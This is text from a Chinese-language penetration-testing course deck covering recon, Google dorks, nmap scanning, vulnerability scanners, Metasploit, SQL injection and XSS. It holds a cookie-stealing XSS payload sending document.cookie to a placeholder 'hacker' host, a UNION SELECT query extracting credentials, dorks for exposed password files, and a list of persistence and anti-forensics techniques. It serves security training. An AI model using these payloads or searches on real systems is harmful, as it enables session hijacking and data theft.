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授課講師：Roland  
                    CEH/CISSP/ISO 27001 LAC 
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課程大綱 
大綱 內容 時間 

資訊安全檢測類型 
1. 資安稽核 
2. 弱點掃描 
3. 滲透測試 

6 小時 
 

9:00~12:00 
13:30~16:30 
(每 50 分鐘休息 
10 分鐘) 

 

駭客思維與滲透測試 
1. 駭客攻擊程序 
2. 滲透測試程序 
3. 滲透測試方法 

滲透測試相關規範與指引 

1. OSSTMM 
2. PTES 
3. OWASP Testing 

Guide 
4. SANS Top 20 
5. OWASP Top 10 

滲透測試工具 
1. 弱點掃描軟體 
2. 滲透測試工具 

網頁應用程式滲透測試 
1. SQL injection 
2. XSS 

實務案例 實務案例解析 
2 



What You MUST Know before 
Hacking!! 
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課程大綱 
大綱 內容 時間 

資訊安全檢測類型 
1. 資安稽核 
2. 弱點掃描 
3. 滲透測試 

6 小時 
 

9:00~12:00 
13:30~16:30 
(每 50 分鐘休息 
10 分鐘) 

 

駭客思維與滲透測試 
1. 駭客攻擊程序 
2. 滲透測試程序 
3. 滲透測試方法 

滲透測試相關規範與指引 

1. OSSTMM 
2. PTES 
3. OWASP Testing 

Guide 
4. SANS Top 20 
5. OWASP Top 10 

滲透測試工具 
1. 弱點掃描軟體 
2. 滲透測試工具 

網頁應用程式滲透測試 
1. SQL injection 
2. XSS 

實務案例 實務案例解析 
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資安檢測類型 

資安檢測 

資安稽核 弱點掃描 滲透測試 
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弱點掃描(Vulnerability Assessment, VA) 

• 使用自動化的弱點掃描工具，發現系統及應用程
式已知的安全弱點 

• 弱點掃描包含了：探測主機狀態、網路埠的狀態、
作業系統類型、系統服務及應用程式類型、弱點
檢測等 
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什麼是滲透測試? 
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白帽駭客模擬黑帽駭客思維與攻擊手法 
執行資安檢測 
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To Think Like a Hacker 



滲透測試(Penetration Testing, PT) 

• 是由具有資訊安全專業與經驗之團隊模擬入侵測
試標的物 

• 利用各類駭客工具與技術以測試與驗證受測標的
物之安全強度。 

• 作業期間必須遵守雙方同意之安全作業程序，將
受測主機之損害風險降低 

• 通常較耗費人力 
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蒐集情資 

攻擊/入侵 

維持控制 

清除軌跡 
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駭客攻擊步驟 
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蒐集目標情資 

主動式 

active 

掃描 

scanning 

列舉 

enumeration 

砍站 

Web Spidering 

公開服務 

public service 

Web 網頁 

DNS 查詢 

被動式 

passive 

Google 
Hacking 

WHOIS 

第三方情資 

社群網站 



• RIR 官方網頁 
– Web-based  

– NOT user-friendly 
– http://whois.twnic.net.tw/ 

WHOIS 查詢工具 
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• 操作簡單 

• whois365 
• Robtex Swiss Army Knife Internet Tool 

– Web-based 

– Toolbar for IE/FF/Chrome 

– WHOIS 

– 是否名列黑名單(blacklist) 
– AS number 

• Client 工具 
– WHOIS 協定使用 tcp 43 port 
– whois.exe – Mark Russinovich 
– Sam Spade 
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第三方 WHOIS 查詢工具 



利用 DNS 蒐集資訊 
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蒐集目標 DNS 
的記錄(record) 

DNS 查詢 

Domain name 
generator 

TLD Rotation Keyword Brute-force Misspelled 

Domain name 
search 

DNS 不當設定 

DNS Zone 
Transfer 
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DNS 暴力查詢 



• 次要網域名稱伺服器(Secondary Name Server)
與主要網域名稱伺服器(Primary Name Server)同
步Zone File 中的 resource record 

• DNS opcode : AXFR, port: tcp 53 

• 若可由不信任網路進行查詢時，將使攻擊者輕易
取得敏感資訊 

• 限制 Zone transfer 的動作是相當重要的設定。 

• DNSSEC 以數位簽章保護 zone transfer 的安全 
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DNS Zone Transfer 
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DNS Zone AXFR 



• “Google hacking is a computer hacking 
technique that uses Google Search and other 
Google applications to find security holes in 
the configuration and computer code that 
websites use.”-Wikepedia 

• Keyword(關鍵字) 
– 搜尋相關內容 

– 相關度(relevance) 

• Operator 
– 有效鎖定範圍 

– 精準過濾資訊 

 

Google Hacking 
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• 搜尋有弱點的特定系統、軟體、版本 
• 特定 web server 顯示的字串 

– “server at”, “powered by”, “建構中” 

• Web Server 預設的錯誤訊息 
• 目錄列表 

– intitle:index.of  “parent directory” or intitle:index.of 
name size 

• 登入網頁 
– 線上遊戲：inurl:login intext:登入 伺服器 

• 暫存檔 
– inurl:temp | inurl:tmp | inurl:backup | inurl:bak 

• 後台管理頁面 
– inurl: admin inurl:login 

Google Hacking-Keyword 
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• intitle 

• inurl 

• intext 

• site 

• filetype/ext 

• - 

• - 

• OR, | 

• “” 

Google Hacking-Operator 
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• GHDB now 

– www.exploit-db.com/google-dorks 

– 線上查詢 google dork 

– 轉導向至 Google Search Engine 

 

 

 

22 

Google Hacking Database 

http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks


• inurl:phpSysInfo/ "created by phpsysinfo" 
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搜尋網站作業系統 



 

• intitle:”Index of” .mysql_history 
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搜尋含密碼的檔案 



• 有弱點的 Web 應用程式或伺服主機 
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搜尋弱點 



• 有弱點的 Web 應用程式或伺服主機 

– “Powered by CosmoQuest” 
inurl:AdminLogin.asp 
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駭客可以用 Google 找到什麼? 
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搜尋 metadata 

WHOIS 

文件的 Metadata 



請使用 Google Search 搜尋: 

 

1. 貴單位的網站上有没有 MS Office 檔案? 檔案中
的 metadata 有没有清除? 

 

2. 台灣的教育類網站上含有密碼的 Excel 檔案 

 

3. 有登入功能的網頁 
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Lab. Google Hacking 
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攻擊及入侵目標 

攻擊 入侵 

可偵測性 破壞性的駭客手法，行為明顯 隱匿的潛入目標，不易偵測 

目的 破壞目標的可用性或完整性 擁有目標電腦的控制權 

攻擊對象 網路、系統、軟體、協定 伺服器、終端電腦 

手法 
 

• 阻斷服務攻擊(DoS)攻擊主機或
頻寬 

• Buffer Overflow攻擊應用程式，
篡改 stack 的 return address 

• 破解密碼 
• 中間人攻擊(MITM)竊聽密碼 
• 利用掛馬網站植入惡意程式 
• 社交工程電子郵件植入惡意程式 
• 攻擊漏洞取得 shell 
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DoS: MS12-020 MS 2003 BSOD 
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MS .LNK Vulnerability 

victim 



• 永續經營 

• 更新 patch, hotfix, 病毒碼 

• 篡改組態設定 

– 例如:hosts 

• 新增隱藏帳號 

– ca 

• 植入遠端遙控木馬(RAT) 

• 植入 rootkit 

• 定期更新惡意程式版本 
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維持控制權 



• 閃躲查找或電腦鑑識 

• 隱藏資料 
– 加密 

– 資訊隱藏(steganography) 

– NTFS Alternate Data Streaming 

– Windows Shadow Copy 

• 隱藏行蹤 
– Rootkit 

– 加密通道(tunneling) 

– 清除事件記錄 

– 更改系統時間 

– anti-forensics 
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匿蹤及滅跡 
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滲透測試流程 



弱點分析 

• 弱點掃描 

– 以弱掃軟體識別待測標的可能弱點，進行系統剖繪
(profiling)、port 掃描、服務識別、作業系統識別，以
及弱點識別。 

 

• 交叉比對 

– 使用其他檢測工具交叉比對分析，並藉由人工驗證方
式分析並找出最可能被利用、影響最嚴重的弱點。  
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• 以 Google 和 DNS 為例 
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交叉比對 



手動檢測 

• 驗證弱點 

– 以手動方式驗證識別出的弱點，透過模擬駭客手法
「利用」(exploit)弱點，並嚐試在不影響待測目標的運
作下入侵系統。例如：猜測密碼、獲得作業系統的權
限或透過網站應用程式弱點入侵資料庫等。  

 

• 蒐集證據 

– 在檢測的所有階段，驗證的重要發現均會被記錄並保
存，包含：入侵途徑、影響評估及弱點利用驗證(Proof 
of Concept, PoC)。 
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Report 
• 風險等級-重大 

 
• 弱點 

– XXX Remote Code Execution弱點(CVE-2010-xxxx及CVE-2012-
yyyy) 
 

• 威脅 
– 已有 public exploit(攻擊 payload) 

 

• 影響 
– 可能讓攻擊者透過網頁應用程式執行任意程式碼 

 

• 修補建議 
– 昇級至官方釋出 2.1 版以上 
– 更新 WAF 偵測特徵 
– 納入 WAF 防護 
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Report Visualization 

                           風險等級 
檢測目標 

重大風險 高 中 低 

www.xxx.com 0 0 1 1 

小計 0 0 1 1 
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滲透測試方法-by knowledge 

盲測(Blind) 協同

(Tandem/Crystal) 

雙盲(Double 

Blind/Black Box) 

逆測(Reversal/Red 

Team exercise) 

PT團隊人員對受測目標之了解 

多 少 受測團隊對檢測程序之了解 

多 

少 

灰箱 
(Gray Box) 

OSSTMM3 

雙灰箱 
(Double Gray Box) 



滲透測試方法-by location 
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https://www.htbridge.com/pages/services/hybrid_penetration_testing.html 



• 任何安全檢測均可能造成服務異常或中斷 
• 執行前 

– 告知受測方可能的風險 
– 必須備份重要系統及資料 
– 相關人員待命 

• 執行中 
– 不可逾越原合約內容 
– 重大弱點應先告知 
– 與受測方保持聯繫 

• 執行後 
– 告知識別之弱點及風險等級 
– 防護措施的有效性 
– 改善建議措施 
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測試風險 



課程大綱 
大綱 內容 時間 

資訊安全檢測類型 
1. 資安稽核 
2. 弱點掃描 
3. 滲透測試 

6 小時 
 

9:00~12:00 
13:30~16:30 
(每 50 分鐘休息 
10 分鐘) 

 

駭客思維與滲透測試 
1. 駭客攻擊程序 
2. 滲透測試程序 
3. 滲透測試方法 

滲透測試相關規範與指引 

1. OSSTMM 
2. PTES 
3. OWASP Testing 

Guide 
4. SANS Top 20 
5. OWASP Top 10 

滲透測試工具 
1. 弱點掃描軟體 
2. 滲透測試工具 

網頁應用程式滲透測試 
1. SQL injection 
2. XSS 

實務案例 實務案例解析 
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PT Guidelines 

• Open Source Security Testing Methodology 
Manual(OSSTMM) 

• Penetration Testing Execution Standard(PTES) 

• OWASP Top 10 

• OWASP Testing Guide 

• OWASP Mobile Top 10 Risks 

• SANS 20 Security Controls 

• Top 25 Software Errors 

• EC-Council Ethical Hacking 
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OSSTMM 

45 

人員 

實體 

無線 電信 

網路 



PT Phases of the PTES 

Pre-
engagement 
Interactions 

Intelligence 
Gathering 

Threat 
Modeling 

Vulnerability 
Analysis 

Exploitation 

Post 
Exploitation Reporting 
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OWASP Top 10 
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http://security-sh3ll.blogspot.tw/2013/02/owasp-top-10-application-security-risks.html 



OWASP Testing Guide 
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Mobile Top 10 
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課程大綱 
大綱 內容 時間 

資訊安全檢測類型 
1. 資安稽核 
2. 弱點掃描 
3. 滲透測試 

6 小時 
 

9:00~12:00 
13:30~16:30 
(每 50 分鐘休息 
10 分鐘) 

 

駭客思維與滲透測試 
1. 駭客攻擊程序 
2. 滲透測試程序 
3. 滲透測試方法 

滲透測試相關規範與指引 

1. OSSTMM 
2. PTES 
3. OWASP Testing 

Guide 
4. SANS Top 20 
5. OWASP Top 10 

滲透測試工具 
1. 弱點掃描軟體 
2. 滲透測試工具 

網頁應用程式滲透測試 
1. SQL injection 
2. XSS 

實務案例 實務案例解析 
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• 網路掃描 

–掃描網路上存在的電腦 

• Port 掃描 

–掃描某部電腦開啟的 ports(TCP/UDP) 

• 作業系統識別及應用程式識別 

• 弱點掃描 

–掃描作業系統、系統服務及應用程式的
弱點 
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掃描(scan)的類型 



• ICMP 掃描(Ping Sweep) 

• 使用 ping 指令在 DOS 下掃描電腦的 ip 

address 

FOR /L %%i in (1,1,254) do ping 192.168.1.%%i  

• 使用自動化程式掃描 IP 的範圍 

– AngryIP, SuperScan 4 

• 限制:易遭防火牆阻擋 

網路掃描 
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C:/CEH_Tool/Module 3 - Scanning/Angry IP.exe


• Port 掃描發送訊息至目標主機的每個 port，由目
標主機的回應推斷該 port 是否開啟，進一步探測
其運行的服務或應用程式及漏洞 

 

• 攻擊者有興趣的 ports: 

– Well-known ports(系統服務) 

– Registered ports(應用程式) 

 

• Port 掃描協助攻擊者了解目標有哪些 port 可用 

 

Port Scanning 

53 



• Listened Port 
– TCP 
– UDP 

• Request 
– SYN 
– ACK 
– RST 
– Malformed 

• Response 
– SYN/ACK 
– RST 
– ICMP Port Unreachable 
– No response(filtered) 

 
 

Request and Response 
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掃描 port 的工具 

• nmap 
– Open source 
– GUI and command-line 
– Support all the port scanning methods 
– nmap –sT –p 1-1024 –T 3 192.168.204.3 

 

• TCP Connect 
– TCP full connection 
– TCP 3-way handshake 
– nmap –sT –p 1-1024 192.168.204.3 

 
 

• TCP SYN Stealth 
– TCP half-open connection(SYN-ACK-RST) 
– Windows 上預設不支援(必須安裝 library) 
– nmap –sS –p 1-1024 192.168.204.3 
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• Banner Grabbing 

• Service Fingerprinting 

• OS Fingerprinting 

作業系統識別及應用程式識別 
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• Banner 是應用程式回應的訊息，顯示其名稱及
版本，如：web server, ftp server, smtp 
server 等 

• 使用 telnet(nc) 取得 web server 的 banner  
– telnet 192.168.204.2 80 

GET / HTTP/1.1 (兩次 “enter”) 

• Sniffing the response 

• 限制：Banner 可以偽冒(HTTP header 
obfuscation) 
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Banner Grabbing 
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Lab. Web Server Banner 

使用瀏覽器內建工具看看 web server 是那種軟體? 



• 分析應用程式的回應的特徵，判斷其名稱及版本 

• 仰賴特徵資料庫的廣度及準確性 

• 例如：使用 nmap 識別 email 服務 

• 限制：reverse proxy 或閘道防護設備 

• Tools 
– httprint  

– amap 

– nmap -sV 
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Service Fingerprinting 



• 主動式堆疊特徵辨識法(Active Stack Fingerprinting) 

– 送出特定的封包，比對回應封包與特徵資料庫，以決定
作業系統及版本 

– 容易被偵測到 

– 限制：各作業系統實作網路堆疊(protocol stack)的差
異 

• Tool 
– nmap –O 192.168.204.1 

– nmap –A 192.168.204.1 

– nmap --script=smb-os-discovery 192.168.204.1 
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作業系統識別 



• 弱點掃描-Vulnerability Scan 或 Vulnerability Assessment，通常簡
稱 VA  

• 使用弱點掃描工具，對被掃描目標送出特定的網路封包，收到被掃描
目標的回應封包後，與特徵資料庫比對，以判斷被掃描目標是否具有
該弱點 
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弱點掃描工具 

Request 

Response 

Web 
app 

DB Server

Web Server

VA System 



弱點掃描工具類型 
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• 掃描目標類型 

– 資訊基礎建設(infrastructure) 

– web application 

• 工具型式 

– 軟體式 

– (virtual)appliance 

– on-demand SaaS 

– remotely hosted(for internal) 

• cost 
– COTS 

– trial version 

– community version(free) 

 



• 檢測基礎建設(infra) 
– 作業系統 

• Windows, AIX, Fedora, FreeBSD, HP-UX, MacOS X,etc. 

– 服務 
• web server, FTP, DNS, SNMP, RPC, DB, etc. 

– 網路設備 
• Firewall, router 

 
• VA 軟體 

– IBM Internet Scanner(Previous ISS) 
– McAfee Vulnerability Manager 
– Qualys(service-based) 
– NeXpose Rapid7(offer service) 
– 中華龍網 DSS(國產) 
– Tenable Nessus 
– OpenVAS 
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掃描基礎建設(infra)弱點 

Graph:http://icons.iconarchive.com 
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掃描 Web 應用程式弱點 

No. Security Scanner URL 

1. 
Acunetix Web Vulnerability 
Scanner 
 

http://www.acunetix.com 
 

2. IBM Rational Appscan 
http://www.watchfire.com/products/apps
can/default.aspx 

3. 
Milescan Web Security 
Auditor  

http://www.milescan.com/hk/ 
 

4. HP WebInspect software  
https://h10078.www1.hp.com/cda/hpms/displ
ay/main/hpms_content.jsp?zn=bto&cp=1-11-
201-200%5E9570_4000_100__ 64 



Configuring 
Detect Live 

Hosts 
Identify Live 

Hosts 

Port Scanning 
Identify 
Services 

Identify 
Applications 

Identify 
Vulnerabilities 

Reporting 
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VA Process 



VA Software 
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• Tenable Network Security 

• No more open source! 

• Brower-based architecture 

• Remote on-demand service 

• Can be integrated into vulnerability 
management system(Tenable SecurityCenter) 
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Nessus 5 



• Client-Server 架構 
– Nessus daemon:負責掃描 

– Nessus client: web-based 

• Nessus plugins 
– 擴充掃描項目，將測試結果回報給用戶端檢視報告 

• 可同時掃描多台目標主機 

• 聰明的通信埠識別能力 
– Port scan 並不會依循IANA所指派的通信埠編號。例：

Nessus能辨別出一個開在port 6386的網頁伺服器 

• NASL 
– 可自行開發 plugins 的 script 程式語言 
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Nessus Architecture 
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Nessus Editions 
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Rapid7 nexpose 

http://www.rapid7.com/products/nexpose/compare-editions.jsp


• Free 

• Single user 

• Up to 32 IPs 

• Can be used for SMB or individual 

• Web application VA 
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Community Edition 



scan engine 

(nexserv.exe) 

(3780/tcp) 

SSL 

security 
console 

(https) 
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key components 
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version comparison 



• supported browsers 

– Internet Explorer 7.0.x, 8.0.x, and 9.0 

– Mozilla Firefox 10.0.x and 17.0.x 

– Google Chrome 
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logging on and start to use 



• Default port : 3780/tcp 
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Connect nexpose Service 
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Site Configuration 
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Assets Configuration 
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Scan Setup 
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Scan 
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Report 



課程大綱 
大綱 內容 時間 

資訊安全檢測類型 
1. 資安稽核 
2. 弱點掃描 
3. 滲透測試 

6 小時 
 

9:00~12:00 
13:30~16:30 
(每 50 分鐘休息 
10 分鐘) 

 

駭客思維與滲透測試 
1. 駭客攻擊程序 
2. 滲透測試程序 
3. 滲透測試方法 

滲透測試相關規範與指引 

1. OSSTMM 
2. PTES 
3. OWASP Testing 

Guide 
4. SANS Top 20 
5. OWASP Top 10 

滲透測試工具 
1. 弱點掃描軟體 
2. 滲透測試工具 

網頁應用程式滲透測試 
1. SQL injection 
2. XSS 

實務案例 實務案例解析 
81 



PT Environment 

OS 

Software Hardware 
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• http://tools.digitalpoint.c
om 

– 需要免費註冊 
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Web-based Recon Tools 

http://tools.digitalpoint.com/
http://tools.digitalpoint.com/
http://tools.digitalpoint.com/
http://tools.digitalpoint.com/


• http://centralops.net/co 
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Web-based Recon Tools 

http://centralops.net/co
http://centralops.net/co


Cloud-based Tools 

• CloudShark 

• SHODAN 

• PunkSpider 

• WebSecurity ($) 
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PT Live CD/Distro 

• Back Track 

• Kali 

• Pentoo 

• Backbox 

• WEAKERTH4N BLUE GHOST  

• Network Security Toolkit(NST) 

• Bugtraq 2 

• Blackbuntu (x64 only now) 
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PT Live CD/Distro 

• OWASP Live CD (2008) 

• Samurai WTF (2012) 

• Web Security Dojo (2013) 
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What’s Metasploit? 

• Live framework for penetration testing 

• From basic to advanced exploitation 

• From manual to automatic exploiting 

• From one-time to comprehensive 

• Integrate with 3-rd party tools 

• Designed by HD Moore 

• COTS based on msf(metasploit framework) 

– Metasploit Express 

– Metasploit Pro 
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Supported OS 

 

89 

http://www.metasploit.com/download/ 



Who Made It? 
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What can metasploit do? 
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VA 

• Support nessus and nexpose 

• Import VA output into msf database 

• Scanning from within msfconsole 

– nessus 

– nexpose 

• SMB credentials inspection 

• Open VNC authentication 
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msf versions 
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Metasploit Pro 
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steps of exploitation in msf 

select 
exploit 

select 
payload 

select 
target 

set 

options 

launch 

exploit 
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metasploit demo 

1. 社交工程攻擊瀏覽器弱點，入侵系統 

2. 利用系統弱點，將步驟 1 獲得的一般權限，提昇
為系統權限 
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課程大綱 
大綱 內容 時間 

資訊安全檢測類型 
1. 資安稽核 
2. 弱點掃描 
3. 滲透測試 

6 小時 
 

9:00~12:00 
13:30~16:30 
(每 50 分鐘休息 
10 分鐘) 

 

駭客思維與滲透測試 
1. 駭客攻擊程序 
2. 滲透測試程序 
3. 滲透測試方法 

滲透測試相關規範與指引 

1. OSSTMM 
2. PTES 
3. OWASP Testing 

Guide 
4. SANS Top 20 
5. OWASP Top 10 

滲透測試工具 
1. 弱點掃描軟體 
2. 滲透測試工具 

網頁應用程式滲透測試 
1. SQL injection 
2. XSS 

實務案例 實務案例解析 
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Total Threat Trend 
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100 

Web Application Attack Trend 

 

source：IBM xforce report 2012 
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應用程式安全全景 

Role Component 

用戶 Browser 

資安人員 Firewall, IPS, WAF(F5,Citrix,Radware) 

系統管理員 Web Server 

資安人員 Firewall, IPS 

系統管理員 Application Server 

Programmer Web Application 

資安人員 DB Firewall(Oracle, Imperva), DAM 

DBA Database 

左圖: http://msdn.microsoft.com/en-us/library/ff647195.aspx 

http://www.gartner.com/technology/media-products/reprints/f5networks/vol6/article2/article2.html
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案例：網頁設計不當洩露機密資訊 

設定檔名稱 

資料庫使用者名
稱及密碼-現形!! 
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案例：網頁設計不當洩露機密資訊 



OWASP Top 10 (Risks)- 2013 

OWASP Top 10 - 2013 

 



• Definition 
– Turns data(parameter) into "command"(OS, SQL) of 

interpreters 

– SQL queries, LDAP queries, XPath queries, OS 
commands, program arguments 

• Target 
– Interpreters(e.g. database, OS shell) 

• Threat 
– Untrusted data 

• Impact 
– A, I, C 
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A1.Injection 
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Command Injection 



Internet

WAN

DMZFirewall

Web Server

DB Server

Intranet
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SQL Injection(SQLi) 

Attacker 

Threat 

攻擊者經由網站應用程式入
侵資料庫 

Weakness 

網站應用程式，未驗證輸入
參數，造成資料隱碼漏洞 

Target 

內網 DB 



Internet

WAN

DMZFirewall

Web Server

DB Server

Intranet
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Impact of SQL Injection 

Hacker 

Bypass Authentication 
Escalate Privilege 
Steal Data 
Tamper with Data 
Tamper with OS Configurations 
Disrupt DB Service 
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SQL Injection 篡改資料庫 

Database Server
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Demo：Bypass Authentication 
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Demo: Data Disclosure 

01/01/2013 union select username,password,null,null from users --    01/01/2014 

01/01/2014 



有 XSS 弱點的 Web Server

114 

A3.Cross Site Scripting(XSS) 

USER

steal 

"><SCRIPT>var+img=new+Image();img.src="http:
//hacker/"+document.cookie; 
</SCRIPT> 

Hacker inject 

browse 



• Definition 

– Permits an attacker to inject code (typically HTML 
or Java script) into contents of a website not under 
the attacker's control 

• Target 

– Primary victim : end users(browser) 

– Secondary victim : Web application 

• Threat 

– Untrusted data 

– Misuse trust relationships between web sites and 
users 
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A3. Cross-Site Scripting (XSS) 



• Impact 

– 駭客偷取使用者的Cookie，存取其身份控管的網站。 

– 將使用者瀏覽器導向釣魚網站，騙取帳號密碼等個人
資訊。 

– 將使用者瀏覽器導向惡意網站，安裝惡意後門程式。 

– 攻擊對象並非網站本身，藉由網站為媒介，造成瀏覽
網站的無辜使用者受害。 
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A3. Cross-Site Scripting (XSS) 

OWASP Top 10 - 2013 
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Reflected XSS 用於網路釣魚 



• 駭客竊得帳密 

受害者被導向釣魚網站 
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xLab/09 Social Engineering/C.Phishing_Facebook_SET/Phishing_SET.htm
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Add a Link Using Reflected XSS 
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案例:YouTube Stored XSS 

http://www.xssed.com 



• 直接對運行中的Web應用程式進行檢測，而非對
原始程式碼做分析 

• 又稱動態分析(Dynamic Analysis) 

 

黑箱測試(Black-box Testing) 

Request 

Response 

Web 
app 

DB Server

Web Server

黑箱檢測工具 
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IBM AppScan-找到的資安漏洞 
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Hacking/Test Tools Categories 
• Stand-alone program 

– Paros - Free 
– Burp Suite - Basic Edition Free 
– Web Scarab - Free, OWASP Project 
– w3af - GNU General Public License 
– Vega 

• Browser plugins (Free) 
– Hackbar 
– XSS ME 
– SQL Inject ME 
– Tamper Data 
– Firecat-a suite of plugins 
– Firebug 
– HttpWatch 

• Framework 
– BeEF 
– HconSTF 
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Hacking Tools Feature 

• An intercepting proxy 

• A web application spider 

• An application fuzzer or scanner 

• A manual request tool 

• Various shared functions and utilities 



• Spider 

• Scan 

• Report 

• Recommendation 
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Paros 

../9811_PayEasy/Tools/192.168.192.4_SQLi.htm


• Firefox 外掛 

• 小巧方便 
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Tamper Data 



• 類似 Paros 

• 有付費版和免費版 
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Burp Suite 



• OWASP 所開發 
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WebScarab 



Browser/Client-side Tools 

• OWASP Mantra (Firefox) 

• Sandcat browser (Chrome) 

• Firefox PT tools add-ons 

• Chrome PT extensions 

• IronWASP 

• BeEF (Attack the browsers) 
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http://www.concise-courses.com/security/50-firefox-pentesting-addons/
http://www.concise-courses.com/security/50-firefox-pentesting-addons/
http://www.concise-courses.com/security/50-firefox-pentesting-addons/


BeEF 
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IronWASP 
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WebSecurity 
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PunkSpider 
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• 免費的網頁弱點掃描工具 
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W3af 
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Pangolin SQLi  

xVideo/SQLinj Pangolin.avi


PunkSpider 
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課程大綱 
大綱 內容 時間 

資訊安全檢測類型 
1. 資安稽核 
2. 弱點掃描 
3. 滲透測試 

6 小時 
 

9:00~12:00 
13:30~16:30 
(每 50 分鐘休息 
10 分鐘) 

 

駭客思維與滲透測試 
1. 駭客攻擊程序 
2. 滲透測試程序 
3. 滲透測試方法 

滲透測試相關規範與指引 

1. OSSTMM 
2. PTES 
3. OWASP Testing 

Guide 
4. SANS Top 20 
5. OWASP Top 10 

滲透測試工具 
1. 弱點掃描軟體 
2. 滲透測試工具 

網頁應用程式滲透測試 
1. SQL injection 
2. XSS 

實務案例 實務案例解析 
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PT team 
 
 

Web Server 

 
 

Application Server 
Web Application 

 
 

Database 

Internet
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實例：Hybrid 滲透測試路徑 
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Google Hacking 實例:Download DB 



DNS 實例:Zone Transfer 
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Blank Intended 

xCase/201309_University_Web_sqlinj


DoS 實例: Slow HTTP DoS 

• 弱點 
– 利用 HTTP 協定的弱點，當 web server  收到一個不完整的 

HTTP request  時，會消耗資源等待 
 

• 威脅 
– 網路上已有多種攻擊工具可取得 

 

• 影響 
– 網站服務中斷，影響公司重要營運/服務 
 

• 驗證 
– 進行受控小規模攻擊驗證，發現防火牆會限制同一來源IP的

連線，可在非分散式攻擊情境阻擋攻擊，因此調降為中風險 
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xLab/12 Hacking Webservers/C.WebServer_slowhttpDoS_slowloris/slowhttptest_takedown_Apache.mp4


SQL Injection 實例 

 

 

 

 

Blank Intended 
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xCase/201309_University_Web_sqlinj


XSS 實例 

 

 

 

 

Blank Intended 
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xCase/201309_University_Web_sqlinj


Directory Traversal 實例： 
守不住 etc 的 ETC 

 

 

 

 

Blank Intended 
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xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd
xCase/20140107_fetc_etcpasswd


Q&A 
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